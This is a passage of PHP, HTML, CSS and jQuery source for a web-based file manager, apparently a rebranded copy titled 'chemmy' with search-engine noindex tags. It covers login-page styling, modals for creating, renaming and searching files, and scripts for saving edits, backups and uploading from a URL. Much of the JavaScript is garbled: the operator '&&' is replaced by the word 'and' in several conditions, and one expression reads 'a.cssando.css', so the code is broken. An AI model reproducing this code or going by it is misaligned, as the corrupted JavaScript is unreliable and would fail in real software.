0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");}
        .fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}
        .fm-login-page .brand img{ width:100%}
        .fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;}
        .fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)}
        .fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;}
        .fm-login-page .form-control{ border-width:2.3px}
        .fm-login-page .form-group label{ width:100%}
        .fm-login-page .btn.btn-block{ padding:12px 10px}
        .fm-login-page .footer{ margin:40px 0;color:#888;text-align:center}
        @media screen and (max-width:425px){
            .fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;}
        }
        @media screen and (max-width:320px){
            .fm-login-page .card.fat{ padding:0}
            .fm-login-page .card.fat .card-body{ padding:15px}
        }
        .message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff}
        .message.ok{ border-color:green;color:green}
        .message.error{ border-color:red;color:red}
        .message.alert{ border-color:orange;color:orange}
        body.fm-login-page.theme-dark {background-color: #2f2a2a;}
        .theme-dark svg g, .theme-dark svg path {fill: #ffffff; }
    </style>
</head>
<body class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>">
<div id="wrapper" class="container-fluid">

    <?php
    }

    function fm_show_footer_login()
    {
    ?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
</body>
</html>
<?php
}


function fm_show_header()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");

global $lang, $root_url, $sticky_navbar, $favicon_path;
$isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal';
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="chemmy">
    <meta name="author" content="CCP Programmers">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?>
    <title><?php echo fanco(APP_TITLE) ?></title>
    <?php print_external('pre-jsdelivr'); ?>
    <?php print_external('pre-cloudflare'); ?>
    <?php print_external('css-bootstrap'); ?>
    <?php print_external('css-font-awesome'); ?>
    <?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?>
    <?php print_external('css-highlightjs'); ?>
    <?php endif; ?>
    <script type="text/javascript">window.csrf = '<?php echo $_SESSION['token']; ?>';</script>
    <style>
        html { -moz-osx-font-smoothing: grayscale; -webkit-font-smoothing: antialiased; text-rendering: optimizeLegibility; height: 100%; scroll-behavior: smooth;}
        *,*::before,*::after { box-sizing: border-box;}
        body { font-size:15px; color:#222;background:#F7F7F7; }
        body.navbar-fixed { margin-top:55px; }
        a, a:hover, a:visited, a:focus { text-decoration:none !important; }
        .filename, td, th { white-space:nowrap  }
        .navbar-brand { font-weight:bold; }
        .nav-item.avatar a { cursor:pointer;text-transform:capitalize; }
        .nav-item.avatar a > i { font-size:15px; }
        .nav-item.avatar .dropdown-menu a { font-size:13px; }
        #search-addon { font-size:12px;border-right-width:0; }
        .brl-0 { background:transparent;border-left:0; border-top-left-radius: 0; border-bottom-left-radius: 0; }
        .brr-0 { border-top-right-radius: 0; border-bottom-right-radius: 0; }
        .bread-crumb { color:#cccccc;font-style:normal; }
        #main-table { transition: transform .25s cubic-bezier(0.4, 0.5, 0, 1),width 0s .25s;}
        #main-table .filename a { color:#222222; }
        .table td, .table th { vertical-align:middle !important; }
        .table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; display: flex;align-items: center; justify-content: center; }
        .table-sm td, .table-sm th { padding:.4rem; }
        .table-bordered td, .table-bordered th { border:1px solid #f1f1f1; }
        .hidden { display:none  }
        pre.with-hljs { padding:0; overflow: hidden;  }
        pre.with-hljs code { margin:0;border:0;overflow:scroll;  }
        code.maxheight, pre.maxheight { max-height:512px  }
        .fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec  }
        .fa.fa-home { font-size:1.3em;vertical-align:bottom  }
        .path { margin-bottom:10px  }
        form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; }
        .right { text-align:right  }
        .center, .close, .login-form, .preview-img-container { text-align:center  }
        .message { padding:4px 7px;border:1px solid #ddd;background-color:#fff  }
        .message.ok { border-color:green;color:green  }
        .message.error { border-color:red;color:red  }
        .message.alert { border-color:orange;color:orange  }
        .preview-img { max-width:100%;max-height:80vh;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC);cursor:zoom-in }
        input#preview-img-zoomCheck[type=checkbox] { display:none }
        input#preview-img-zoomCheck[type=checkbox]:checked ~ label > img { max-width:none;max-height:none;cursor:zoom-out }
        .inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px 4px;border-radius:3px; }
        .preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px  }
        .preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000  }
        .compact-table { border:0;width:auto  }
        .compact-table td, .compact-table th { width:100px;border:0;text-align:center  }
        .compact-table tr:hover td { background-color:#fff  }
        .filename { max-width:420px;overflow:hidden;text-overflow:ellipsis  }
        .break-word { word-wrap:break-word;margin-left:30px  }
        .break-word.float-left a { color:#7d7d7d  }
        .break-word + .float-right { padding-right:30px;position:relative  }
        .break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px  }
        #editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px  }
        @media (max-width:481px) {
            #editor { top:150px; }
        }
        #normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; }
        .btn-2 { padding:4px 10px;font-size:small; }
        li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px }
        li.folder:before { content:"\f114" }
        i.fa.fa-folder-o { color:#0157b3 }
        i.fa.fa-picture-o { color:#26b99a }
        i.fa.fa-file-archive-o { color:#da7d7d }
        .btn-2 i.fa.fa-file-archive-o { color:inherit }
        i.fa.fa-css3 { color:#f36fa0 }
        i.fa.fa-file-code-o { color:#007bff }
        i.fa.fa-code { color:#cc4b4c }
        i.fa.fa-file-text-o { color:#0096e6 }
        i.fa.fa-html5 { color:#d75e72 }
        i.fa.fa-file-excel-o { color:#09c55d }
        i.fa.fa-file-powerpoint-o { color:#f6712e }
        i.go-back { font-size:1.2em;color:#007bff; }
        .main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2)  }
        .dataTables_filter { display:none; }
        table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); }
        table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); }
        table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); }
        table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; }
        .footer-action li { margin-bottom:10px; }
        .app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; }
        hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; }
        #snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; }
        #snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; }
        @-webkit-keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @-webkit-keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        @keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        #main-table span.badge { border-bottom:2px solid #f8f9fa }
        #main-table span.badge:nth-child(1) { border-color:#df4227 }
        #main-table span.badge:nth-child(2) { border-color:#f8b600 }
        #main-table span.badge:nth-child(3) { border-color:#00bd60 }
        #main-table span.badge:nth-child(4) { border-color:#4581ff }
        #main-table span.badge:nth-child(5) { border-color:#ac68fc }
        #main-table span.badge:nth-child(6) { border-color:#45c3d2 }
        @media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6 { padding:0; }
        }
        .btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important }
        .lds-facebook { display:none;position:relative;width:64px;height:64px }
        .lds-facebook div,.lds-facebook.show-me { display:inline-block }
        .lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite }
        .lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s }
        .lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s }
        .lds-facebook div:nth-child(3) { left:45px;animation-delay:0s }
        @keyframes lds-facebook { 0% { top:6px;height:51px }
        100%,50% { top:19px;height:26px }
        }
        ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; }
        ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;}
        .c-preview-img { max-width: 300px; }
        .border-radius-0 { border-radius: 0; }
        .float-right { float: right; }
        .table-hover>tbody>tr:hover>td:first-child { border-left: 1px solid #1b77fd; }
        #main-table tr.even { background-color: #F8F9Fa; }
        .filename>a>i {margin-right: 3px;}
    </style>
    <?php
    if (FM_THEME == "dark"): ?>
        <style>
            :root {
                --bs-bg-opacity: 1;
                --bg-color: #f3daa6;
                --bs-dark-rgb: 28, 36, 41 !important;
                --bs-bg-opacity: 1;
            }
            .table-dark { --bs-table-bg: 28, 36, 41 !important; }
            .btn-primary { --bs-btn-bg: #26566c; --bs-btn-border-color: #26566c; }
            body.theme-dark { background-image: linear-gradient(90deg, #1c2429, #263238); color: #CFD8DC; }
            .list-group .list-group-item { background: #343a40; }
            .theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #CFD8DC; }
            a, a:hover, a:visited, a:active, #main-table .filename a, i.fa.fa-folder-o, i.go-back { color: var(--bg-color); }
            ul#search-wrapper li:nth-child(odd) { background: #212a2f; }
            .theme-dark .btn-outline-primary { color: #b8e59c; border-color: #b8e59c; }
            .theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #2d4121;}
            .theme-dark input.form-control { background-color: #101518; color: #CFD8DC; }
            .theme-dark .dropzone { background: transparent; }
            .theme-dark .inline-actions > a > i { background: #79755e; }
            .theme-dark .text-white { color: #CFD8DC !important; }
            .theme-dark .table-bordered td, .table-bordered th { border-color: #343434; }
            .theme-dark .table-bordered td .custom-control-input, .theme-dark .table-bordered th .custom-control-input { opacity: 0.678; }
            .message { background-color: #212529; }
            .compact-table tr:hover td { background-color: #3d3d3d; }
            #main-table tr.even { background-color: #21292f; }
            form.dropzone { border-color: #79755e; }
        </style>
    <?php endif; ?>
</head>
<body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>">
<div id="wrapper" class="container-fluid">
    <!-- New Item creation -->
    <div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" data-bs-backdrop="static" data-bs-keyboard="false" aria-labelledby="newItemModalLabel" aria-hidden="true">
        <div class="modal-dialog" role="document">
            <form class="modal-content <?php echo fm_get_theme(); ?>" method="post">
                <div class="modal-header">
                    <h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5>
                    <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                </div>
                <div class="modal-body">
                    <p><label for="newfile"><?php echo lng('ItemType') ?> </label></p>
                    <div class="form-check form-check-inline">
                      <input class="form-check-input" type="radio" name="newfile" id="customRadioInline1" name="newfile" value="file">
                      <label class="form-check-label" for="customRadioInline1"><?php echo lng('File') ?></label>
                    </div>
                    <div class="form-check form-check-inline">
                      <input class="form-check-input" type="radio" name="newfile" id="customRadioInline2" value="folder" checked>
                      <label class="form-check-label" for="customRadioInline2"><?php echo lng('Folder') ?></label>
                    </div>

                    <p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p>
                    <input type="text" name="newfilename" id="newfilename" value="" class="form-control" placeholder="<?php echo lng('Enter here...') ?>" required>
                </div>
                <div class="modal-footer">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <button type="button" class="btn btn-outline-primary" data-bs-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
                    <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button>
                </div>
            </form>
        </div>
    </div>

    <!-- Advance Search Modal -->
    <div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true">
      <div class="modal-dialog modal-lg" role="document">
        <div class="modal-content <?php echo fm_get_theme(); ?>">
          <div class="modal-header">
            <h5 class="modal-title col-10" id="searchModalLabel">
                <div class="input-group mb-3">
                  <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> <?php echo lng('a files') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required>
                  <span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span>
                </div>
            </h5>
            <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
          </div>
          <div class="modal-body">
            <form action="" method="post">
                <div class="lds-facebook"><div></div><div></div><div></div></div>
                <ul id="search-wrapper">
                    <p class="m-2"><?php echo lng('Search file in folder and subfolders...') ?></p>
                </ul>
            </form>
          </div>
        </div>
      </div>
    </div>

    <!--Rename Modal -->
    <div class="modal modal-alert" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="renameDailog">
      <div class="modal-dialog" role="document">
        <form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off">
          <div class="modal-body p-4 text-center">
            <h5 class="mb-3"><?php echo lng('Are you sure want to rename?') ?></h5>
            <p class="mb-1">
                <input type="text" name="rename_to" id="js-rename-to" class="form-control" placeholder="<?php echo lng('Enter new file name') ?>" required>
                <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                <input type="hidden" name="rename_from" id="js-rename-from">
            </p>
          </div>
          <div class="modal-footer flex-nowrap p-0">
            <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
            <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0"><strong><?php echo lng('Okay') ?></strong></button>
          </div>
        </form>
      </div>
    </div>

    <!-- Confirm Modal -->
    <script type="text/html" id="js-tpl-confirm">
        <div class="modal modal-alert confirmDailog" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="confirmDailog-<%this.id%>">
          <div class="modal-dialog" role="document">
            <form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off" action="<%this.action%>">
              <div class="modal-body p-4 text-center">
                <h5 class="mb-2"><?php echo lng('Are you sure want to') ?> <%this.title%> ?</h5>
                <p class="mb-1"><%this.content%></p>
              </div>
              <div class="modal-footer flex-nowrap p-0">
                <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
                <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0" data-bs-dismiss="modal"><strong><?php echo lng('Okay') ?></strong></button>
              </div>
            </form>
          </div>
        </div>
    </script>

    <?php
    }


    function fm_show_footer()
    {
    ?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
<?php print_external('js-jquery-datatables'); ?>
<?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?>
    <?php print_external('js-highlightjs'); ?>
    <script>hljs.highlightAll(); var isHighlightingEnabled = true;</script>
<?php endif; ?>
<script>
    function template(html,options){
        var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add}
        while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length}
        add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options)
    }
    function rename(e, t) { if(t) { $("#js-rename-from").val(t);$("#js-rename-to").val(t); $("#renameDailog").modal('show'); } }
    function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked }
    function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") and t.push(e[n]); return t }
    function select_all() { change_checkboxes(get_checkboxes(), !0) }
    function unselect_all() { change_checkboxes(get_checkboxes(), !1) }
    function invert_all() { change_checkboxes(get_checkboxes()) }
    function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) }
    function backup(e, t) {
        var n = new XMLHttpRequest,
            a = "path=" + e + "&file=" + t + "&token="+ window.csrf +"&type=backup&ajax=true";
        return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () {
            4 == n.readyState and 200 == n.status and toast(n.responseText)
        }, n.send(a), !1
    }
    // Toast message
    function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); }
    // Save file
    function edit_save(e, t) {
        var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
        if (typeof n !== 'undefined' and n !== null) {
            if (true) {
                var data = {ajax: true, content: n, type: 'save', token: window.csrf};

                $.ajax({
                    type: "POST",
                    url: window.location,
                    data: JSON.stringify(data),
                    contentType: "application/json; charset=utf-8",
                    success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}},
                    failure: function(mes) {toast("Error: try again");},
                    error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);}
                });
            } else {
                var a = document.createElement("form");
                a.setAttribute("method", "POST"), a.setAttribute("action", "");
                var o = document.createElement("textarea");
                o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata");
                let cx = document.createElement("input"); cx.setAttribute("type", "hidden");cx.setAttribute("name", "token");cx.setAttribute("value", window.csrf);
                var c = document.createTextNode(n);
                o.appendChild(c), a.appendChild(o), a.appendChild(cx), document.body.appendChild(a), a.submit()
            }
        }
    }
    function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); }
    // Save Settings
    function save_settings($this) {
        let form = $($this);
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            success: function (data) {if(data) { window.location.reload();}}
        }); return false;
    }
    //Create new password hash
    function new_password_hash($this) {
        let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val('');
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            success: function (data) { if(data) { $pwd.val(data); } }
        }); return false;
    }
    // Upload files using URL @param {Object}
    function upload_from_url($this) {
        let form = $($this), resultWrapper = $("div#js-url-upload__list");
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); },
            success: function (data) {
                if(data) {
                    data = JSON.parse(data);
                    if(data.done) {
                        resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val('');
                    } else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); }
                    form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');
                }
            },
            error: function(xhr) {
                form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr);
            }
        }); return false;
    }
    // Search template
    function search_template(data) {
        var response = "";
        $.each(data, function (key, val) {
            response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
        });
        return response;
    }
    // Advance search
    function fm_search() {
        var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook");
        if(!!searchTxt and searchTxt.length > 2 and path) {
            var data = {ajax: true, content: searchTxt, path:path, type: 'search', token: window.csrf };
            $.ajax({
                type: "POST",
                url: window.location,
                data: data,
                beforeSend: function() {
                    searchWrapper.html('');
                    $loader.addClass('show-me');
                },
                success: function(data){
                    $loader.removeClass('show-me');
                    data = JSON.parse(data);
                    if(data and data.length) {
                        _html = search_template(data);
                        searchWrapper.html(_html);
                    } else { searchWrapper.html('<p class="m-2">No result found!<p>'); }
                },
                error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); },
                failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');}
            });
        } else { searchWrapper.html("OOPS: minimum 3 characters required!"); }
    }

    // action confirm dailog modal
    function confirmDailog(e, id = 0, title = "Action", content = "", action = null) {
        e.preventDefault();
        const tplObj = {id, title, content: decodeURIComponent(content.replace(/\+/g, ' ')), action};
        let tpl = $("#js-tpl-confirm").html();
        $(".modal.confirmDailog").remove();
        $('#wrapper').append(template(tpl,tplObj));
        const $confirmDailog = $("#confirmDailog-"+tplObj.id);
        $confirmDailog.modal('show');
        return false;
    }
    

    // on mouse hover image preview
    !function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.cssando.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery);

    // Dom Ready Events
    $(document).ready( function () {
        // dataTable init
        var $table = $('#main-table'),
            tableLng = $table.find('th').length,
            _targets = (tableLng and tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3];
            mainTable = $('#main-table').DataTable({paging: false, info: false, order: [], columnDefs: [{targets: _targets, orderable: false}]
        });
        // filter table
        $('#search-addon').on( 'keyup', function () {
            mainTable.search( this.value ).draw();
        });
        $("input#advanced-search").on('keyup', function (e) {
            if (e.keyCode === 13) { fm_search(); }
        });
        $('#search-addon3').on( 'click', function () { fm_search(); });
        //upload nav tabs
        $(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){
            e.preventDefault();let target=$(this).data('target');
            $(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active');
            $(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden');
        });
    });
</script>
